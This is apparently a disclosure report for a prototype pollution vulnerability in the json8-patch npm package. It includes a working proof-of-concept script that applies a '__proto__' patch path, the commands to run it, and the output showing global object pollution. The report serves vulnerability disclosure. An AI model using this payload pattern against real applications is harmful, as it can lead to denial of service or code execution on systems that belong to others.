Prototype Pollution in sonnyp/json8
Reported on
Oct 22nd 2020
Description
json8-patch
is vulnerable to Prototype Pollution
.
This package allowing for modification of prototype behavior, which may result in Information Disclosure/DoS/RCE.
Proof of Concept
- Create the following PoC file:
// poc.js
var json8Patch = require("json8-patch")
var obj = {}
const patch = [{op: "add", path: "/__proto__/polluted", value: "Yes! Its Polluted"}];
console.log("Before : " + obj.polluted);
json8Patch.apply(obj, patch);
console.log("After : " + {}.polluted);
- Execute the following commands in another terminal:
npm i json8-patch # Install affected module
node poc.js # Run the PoC
- Check the Output:
Before : undefined
After : Yes! Its Polluted